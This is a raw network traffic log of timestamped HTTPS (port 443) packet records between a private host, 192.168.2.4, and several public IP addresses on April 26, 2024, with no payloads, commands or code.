Apr 26, 2024 09:59:45.465660095 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.472385883 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.472434044 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.472482920 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.472490072 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.472527981 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.474936008 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.474956036 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.474994898 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.474999905 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.475034952 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.475053072 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.478915930 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.478944063 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.478972912 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.478979111 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.479024887 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.480813026 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.480833054 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.480931044 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.480937958 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.481029987 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.710486889 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710607052 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710643053 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.710664988 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710695028 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.710700989 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710731983 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710735083 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.710748911 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710772991 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.710798025 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.710825920 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710850954 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710886002 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.710891008 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710920095 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710921049 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.710937977 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.710947990 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710959911 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.710990906 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.711002111 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.711026907 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.711038113 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.711051941 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.711093903 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.711097002 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.711110115 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.711137056 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.711167097 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.711168051 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.711174965 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.711183071 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.711231947 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.711251020 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.711273909 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.711302996 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.711308002 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.711332083 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.711349010 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.712687969 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.712713957 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.712750912 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.712757111 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.712798119 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.712819099 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.721626043 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.721647978 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.721698999 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.721704960 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.721750021 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.724647045 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.724669933 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.724715948 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.724720955 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.724760056 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.724776983 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.729485035 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.729511023 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.729552031 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.729557991 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.729593039 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.729599953 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.730926991 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.730948925 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.731003046 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.731009007 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.731045961 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.837913036 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.837939978 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.837990999 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.838001013 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.838028908 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.848038912 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.848063946 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.848103046 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.848109007 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.848149061 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.851645947 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.851669073 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.851705074 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.851711988 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.851747036 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.857435942 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.857467890 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.857523918 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.857531071 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.857568979 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.860382080 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.860435009 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.860440016 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.860451937 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:45.860491037 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.860995054 CEST	49961	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:45.861007929 CEST	443	49961	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:48.709693909 CEST	49971	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:48.709803104 CEST	443	49971	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:48.710020065 CEST	49971	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:48.710185051 CEST	49971	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:48.710232973 CEST	443	49971	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:49.103399038 CEST	443	49971	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:49.104135990 CEST	49971	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:49.104147911 CEST	443	49971	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:49.105281115 CEST	443	49971	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:49.105984926 CEST	49971	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:49.106161118 CEST	443	49971	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:49.106369019 CEST	49971	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:49.106445074 CEST	49971	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:49.106448889 CEST	443	49971	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:49.409775019 CEST	443	49971	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:49.409872055 CEST	49971	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:49.409909964 CEST	443	49971	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:49.409969091 CEST	49971	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:49.409975052 CEST	443	49971	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:49.410067081 CEST	49971	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:49.412347078 CEST	49971	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:49.412379980 CEST	443	49971	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:50.440690041 CEST	49974	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:50.440731049 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:50.440867901 CEST	49974	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:50.441124916 CEST	49974	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:50.441148043 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:50.771120071 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:50.771142006 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:50.771385908 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:50.772196054 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:50.772229910 CEST	443	49976	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:50.772300005 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:50.772833109 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:50.772842884 CEST	443	49976	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:50.773128986 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:50.773142099 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:50.832743883 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:50.833182096 CEST	49974	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:50.833195925 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:50.834414959 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:50.834831953 CEST	49974	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:50.835005999 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:50.835138083 CEST	49974	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:50.876152992 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:50.938540936 CEST	49978	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:50.938605070 CEST	443	49978	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:50.938682079 CEST	49978	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:50.938931942 CEST	49978	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:50.938962936 CEST	443	49978	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:51.040182114 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.047393084 CEST	443	49976	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.052789927 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.052818060 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.053234100 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.053246021 CEST	443	49976	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.054272890 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.054366112 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.054771900 CEST	443	49976	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.054841995 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.056701899 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.056782961 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.097573996 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.097594023 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.097685099 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.098109007 CEST	443	49976	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.098248005 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.135302067 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:51.135399103 CEST	49974	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:51.135410070 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:51.135447979 CEST	49974	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:51.135452986 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:51.135514021 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:51.135557890 CEST	49974	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:51.139167070 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.139175892 CEST	443	49976	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.144108057 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.173228025 CEST	49974	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:51.173249006 CEST	443	49974	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:51.184389114 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.341588974 CEST	443	49978	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:51.342216015 CEST	49978	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:51.342273951 CEST	443	49978	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:51.344213963 CEST	443	49978	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:51.344283104 CEST	49978	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:51.704478979 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.704679966 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.704744101 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.704787970 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.705151081 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.705212116 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.705226898 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.705729008 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.705777884 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.705790043 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.705993891 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.706048965 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.706248999 CEST	49975	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.706279993 CEST	443	49975	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:51.829516888 CEST	49978	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:51.829616070 CEST	443	49978	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:51.829711914 CEST	49978	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:51.829749107 CEST	443	49978	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:51.883738041 CEST	49978	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:51.952781916 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:51.955538988 CEST	443	49978	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:51.955586910 CEST	443	49978	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:51.955645084 CEST	443	49978	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:51.955647945 CEST	49978	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:51.955710888 CEST	49978	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:51.957761049 CEST	49978	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:51.957792044 CEST	443	49978	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.000118017 CEST	443	49976	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:52.110759020 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.110794067 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.110883951 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.112257004 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.112273932 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.402374029 CEST	49983	443	192.168.2.4	172.67.144.70
Apr 26, 2024 09:59:52.402467966 CEST	443	49983	172.67.144.70	192.168.2.4
Apr 26, 2024 09:59:52.402615070 CEST	49983	443	192.168.2.4	172.67.144.70
Apr 26, 2024 09:59:52.406821012 CEST	49983	443	192.168.2.4	172.67.144.70
Apr 26, 2024 09:59:52.406858921 CEST	443	49983	172.67.144.70	192.168.2.4
Apr 26, 2024 09:59:52.427109003 CEST	443	49976	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:52.427196026 CEST	443	49976	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:52.430376053 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:52.430376053 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:52.495626926 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.496184111 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.496210098 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.499737024 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.499990940 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.500475883 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.500475883 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.500643015 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.555824041 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.555850983 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.602890015 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.695641994 CEST	443	49983	172.67.144.70	192.168.2.4
Apr 26, 2024 09:59:52.696490049 CEST	49983	443	192.168.2.4	172.67.144.70
Apr 26, 2024 09:59:52.696548939 CEST	443	49983	172.67.144.70	192.168.2.4
Apr 26, 2024 09:59:52.697515011 CEST	443	49983	172.67.144.70	192.168.2.4
Apr 26, 2024 09:59:52.697772026 CEST	49983	443	192.168.2.4	172.67.144.70
Apr 26, 2024 09:59:52.699531078 CEST	49983	443	192.168.2.4	172.67.144.70
Apr 26, 2024 09:59:52.699531078 CEST	49983	443	192.168.2.4	172.67.144.70
Apr 26, 2024 09:59:52.699563980 CEST	443	49983	172.67.144.70	192.168.2.4
Apr 26, 2024 09:59:52.699615002 CEST	443	49983	172.67.144.70	192.168.2.4
Apr 26, 2024 09:59:52.743746996 CEST	49976	443	192.168.2.4	172.67.173.130
Apr 26, 2024 09:59:52.743777990 CEST	443	49976	172.67.173.130	192.168.2.4
Apr 26, 2024 09:59:52.743784904 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.743824959 CEST	49983	443	192.168.2.4	172.67.144.70
Apr 26, 2024 09:59:52.743881941 CEST	443	49983	172.67.144.70	192.168.2.4
Apr 26, 2024 09:59:52.743923903 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.744035006 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.744043112 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.744060040 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.744093895 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.744167089 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.745835066 CEST	49981	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:52.745846033 CEST	443	49981	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:52.790636063 CEST	49983	443	192.168.2.4	172.67.144.70
Apr 26, 2024 09:59:53.190254927 CEST	49984	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:53.190299034 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:53.190366030 CEST	49984	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:53.190655947 CEST	49984	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:53.190670967 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:53.585417032 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:53.586082935 CEST	49984	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:53.586122990 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:53.587269068 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:53.588083982 CEST	49984	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:53.588287115 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:53.588758945 CEST	49984	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:53.636111021 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:53.689203978 CEST	443	49983	172.67.144.70	192.168.2.4
Apr 26, 2024 09:59:53.689526081 CEST	443	49983	172.67.144.70	192.168.2.4
Apr 26, 2024 09:59:53.689583063 CEST	49983	443	192.168.2.4	172.67.144.70
Apr 26, 2024 09:59:53.692517996 CEST	49983	443	192.168.2.4	172.67.144.70
Apr 26, 2024 09:59:53.692539930 CEST	443	49983	172.67.144.70	192.168.2.4
Apr 26, 2024 09:59:53.713576078 CEST	49985	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:53.713613033 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:53.713669062 CEST	49985	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:53.714056015 CEST	49986	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:53.714088917 CEST	443	49986	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:53.714148998 CEST	49986	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:53.714282036 CEST	49985	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:53.714298964 CEST	443	49985	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:53.714555979 CEST	49986	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:53.714570045 CEST	443	49986	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:53.815293074 CEST	49987	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:53.815340042 CEST	443	49987	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:53.815396070 CEST	49987	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:53.816283941 CEST	49987	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:53.816298962 CEST	443	49987	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:53.835033894 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:53.835093975 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:53.835140944 CEST	49984	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:53.835164070 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:53.835177898 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:53.835206032 CEST	49984	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:53.835222006 CEST	49984	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:53.837593079 CEST	49984	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:53.837609053 CEST	443	49984	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.017760992 CEST	49988	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.017810106 CEST	443	49988	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.018348932 CEST	49988	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.018759966 CEST	49988	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:54.018776894 CEST	443	49988	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:54.044497013 CEST	443	49986	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.044804096 CEST	49986	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:54.044816017 CEST	443	49986	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.046266079 CEST	443	49986	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.047456980 CEST	49986	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:54.047844887 CEST	49986	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:54.047852039 CEST	443	49986	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:54.047892094 CEST	443	49986	172.217.3.68	192.168.2.4
